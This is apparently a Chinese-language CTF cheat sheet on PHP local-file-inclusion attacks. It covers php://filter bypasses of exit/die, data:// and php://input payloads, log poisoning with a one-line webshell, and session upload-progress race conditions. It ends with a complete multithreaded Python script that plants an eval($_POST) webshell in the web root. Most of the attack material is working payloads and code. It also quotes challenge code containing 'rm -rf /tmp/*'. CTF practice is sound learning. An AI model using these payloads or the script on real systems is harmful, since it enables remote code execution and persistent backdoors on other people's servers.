php伪协议

php://filter 协议
1
php://filter/read=convert.base64-encode/resource=xxx

妙用:

1
2
3
4
5
6
7
8
[*]php://filter可以绕过 exit; die();
[*]传入的指令需要提前rot13处理,然后filter进行rot13,这样传入的指令不受影响,而exit或die都被修改掉了.

[!]php://filter/write=string.rot13/resource=a.php
[!]POST请求中填入指令

[+]也可以使用php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
[#]UCS-2对字符串每2位反转一次.

UCS-2编码

1
echo iconv("UCS-2LE","UCS-2BE",'command');

data://text 协议
1
2
3
被包含时,可以直接执行内容,如果怕过滤,可以提前Base64编码.
[*]data://text/plain,<?php system('ls'); ?>
[$]data://text/plain;base64,base64加密的内容
php://input 协议
1
2
3
?xxx=php://input

[+]在POST请求中填入需要input的内容

日志包含

1
2
3
4
5
6
日志文件路径: /var/log/nginx/access.log

[1]在User-Agent中写入一句话木马(不要用双引号)
[2]在POST请求中进行RCE,url?file=/var/log/nginx/access.log

[!]蚁剑可能无法连接(可以在蚁剑设置里面忽略http证书)

Session条件竞争包含

原理: php中的session.upload_progress和session.upload_progress.cleanup默认开启,可以通过批量在Session中写入一句话木马,并批量包含,从而getshell.

1
2
3
4
5
6
7
8
9
[1]使用upload.html上传文件,用Burp抓包,Cookie中内容修改为PHPSESSID=flag
[2]写入命令
[3]批量包含Session文件,url?file=/tmp/sess_flag

[!]需要使用upload.html
[!]上传的文件需要>500KB,防止来不及包含
[!]使用upload.html记得将url改为当前题目url

[*]可以使用超级脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
session_unset(); 
session_destroy();

system("rm -rf /tmp/*");

if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
#出现这种内容,仍然可以使用Session条件竞争包含
超级脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import io
import threading


url='题目地址'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
},
verify = False
)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
},
verify = False
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php',verify = False)
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)

if __name__ == '__main__':

evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(10):
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()

evnet.set()